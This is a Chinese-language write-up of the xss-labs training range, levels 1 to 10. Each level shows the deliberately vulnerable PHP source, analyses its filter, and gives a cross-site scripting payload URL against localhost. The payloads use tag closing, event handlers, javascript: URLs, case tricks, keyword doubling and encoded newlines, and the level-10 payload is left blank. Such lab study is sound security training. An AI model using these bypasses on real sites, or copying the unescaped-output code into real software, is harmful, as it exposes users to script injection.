xss-labs通关笔记
第一关 不使用过滤器
后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; } </script> <title>欢迎来到level1</title> </head> <body> <h1 align=center>欢迎来到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
这关只给一个图片,根据图片可以知道这关容易,而链接上有一个参数name,说明突破口在name这里,根据代码我们可以看出,代码是将用户以GET方式提交的参数name,没有做任何防御措施就直接显示在HTML页面中,所以将使用<script>alert('xss')</script>放入name变量中即可。
c、方法
直接使用js脚本即可
d、注入语句
127.0.0.1/xss-labs/level1.php?name=<script>alert(1)</script>
第二关 闭合标签
a、后台代码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level3.php?writing=wait"; } </script> <title>欢迎来到level2</title> </head> <body> <h1 align=center>欢迎来到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
这关我们可以发现多了一个文本框,我们先用之前的语句填入文本框里面,发现不行,什么有了防御机制,那么我们看看源代码,它将我们输入的值给了value,然后它再传给了一个htmlspecialchars函数,这个函数是把预定义的字符转换为 HTML 实体,说明把<script>标签吃掉了,那么我们的突破口就在value这里,我们可以通过闭合标签,使得<input name=keyword value="'.$str.'">这一句就闭合掉,即在<script>alert('xss')</script>前面加">,对前面input标签进行闭合。
htmlspeciachars函数默认不转义单引号
c、方法
这里我们需要闭合<input>标签
d、payload
http://127.0.0.1/xss-labs/level2.php?keyword="><script>alert(1)</script>
第三关 双引号闭合并添加事件
a、后台源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>欢迎来到level3</title> </head> <body> <h1 align=center>欢迎来到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
看看源码,发现这里不但对"
号做了防御,而且在value这里也加了htmlspecialchars
函数,虽然对了双引号做了防御,但是却放行单引号,这种情况我们可以通过事件标签触发表单执行。
c、方法
这种情况我们可以通过事件标签触发表单执行,即通过使用HTML的事件知识对其注入。
d、payload
http://127.0.0.1/xss-labs/level3.php?keyword=' onclick=alert(1) '
第四关 双引号闭合并添加事件
a、源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>欢迎来到level4</title> </head> <body> <h1 align=center>欢迎来到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
b、分析
看看源码,发现这里不但对‘
号做了防御,他这次不对value进行过滤,而是用str_replace
函数直接过滤掉<>
,但是不知道是不是有疏忽,对了单引号做了防御,但是却放行双引号,这种情况我们还是可以通过事件标签触发表单执行。
c、方法
这种情况我们可以通过事件标签触发表单执行,不过需要的双引号改成单引号。
d、payload
http://127.0.0.1/xss-labs/level4.php?keyword=" onclick=alert(1) "
第五关 JavaScript伪协议
a、源代码
<title>欢迎来到level5</title> </head> <body> <h1 align=center>欢迎来到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>"; ?> </body> </html>
b、分析
根据源代码,我们发现它对<script和on的都做了特殊处理,而且还使用strtolower函数对所有字符串变成小写,单引号也不可用了,但是我们还是可以闭合语句,通过双引号加>闭合,但是闭合归闭合,却没有用来触发的条件呀!我们这时候可以使用javascript伪协议以及标签进行注入。
c、方法
使用JavaScript伪协议
d、payload
http://127.0.0.1/xss-labs/level5.php?keyword="><a href=javascript:alert(/XSS/)>click here !</a>
第六关 大小写绕过
a、源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>欢迎来到level6</title> </head> <body> <h1 align=center>欢迎来到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
b、分析
这题我们可以看出虽然对on、src、data、href、<script进行过滤,但是没有了对大写字母进行修改,所以我们可以使用单引号闭合,加大小写的脚本或者标签方法注入。
c、payload
http://127.0.0.1/xss-labs/level6.php?keyword="><ScrIpt>alert(/xss/)</ScrIPt>
第七关 双重书写绕过
a、源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>欢迎来到level7</title> </head> <body> <h1 align=center>欢迎来到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>"; ?> </body> </html>
b、分析
我们可以看到输入比上一题加深了大小写过滤的的难度,但是它却把特殊语义的字符串修改成了空字符串,我们就可以使用特殊语义重构的方法进行注入。
c、payload
http://127.0.0.1/xss-labs/level7.php?keyword="><scrscriptipt>alert(/xss/)</scrscriptipt>
第八关 字符实体
a、源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>欢迎来到level8</title> </head> <body> <h1 align=center>欢迎来到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
b、分析
那么我们就需要引入编码绕过的概念,由于会被htmlspecialchars函数转义,所以可将所有字符编码为HTML实体,从而绕过。
c、payload
http://127.0.0.1/xss-labs/level8.php?keyword=javascri%0apt:alert(123)
第九关 检测关键字存在
a、源码
<title>欢迎来到level9</title> </head> <body> <h1 align=center>欢迎来到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?> </body> </html>
和上一关差不多,这一关只是多了个strpos函数来验证传入后端的字符串中是否含有http://,所以可以通过注释http://绕过
c、payload
http://127.0.0.1/xss-labs/level9.php?keyword=javascrip%0at:alert(123)//http://
第十关 隐藏信息
a、源码
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>欢迎来到level10</title> </head> <body> <h1 align=center>欢迎来到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
我们使用之前的方法发现,无论怎么样都没用,那么我们来看看源码,发现有一个t_sort参数,是需要我们在后台才能找到的,而这个参数其实并没有加什么特殊防御,只是过滤了尖括号,所以我们可以使用触发事件标签进行。
c、payload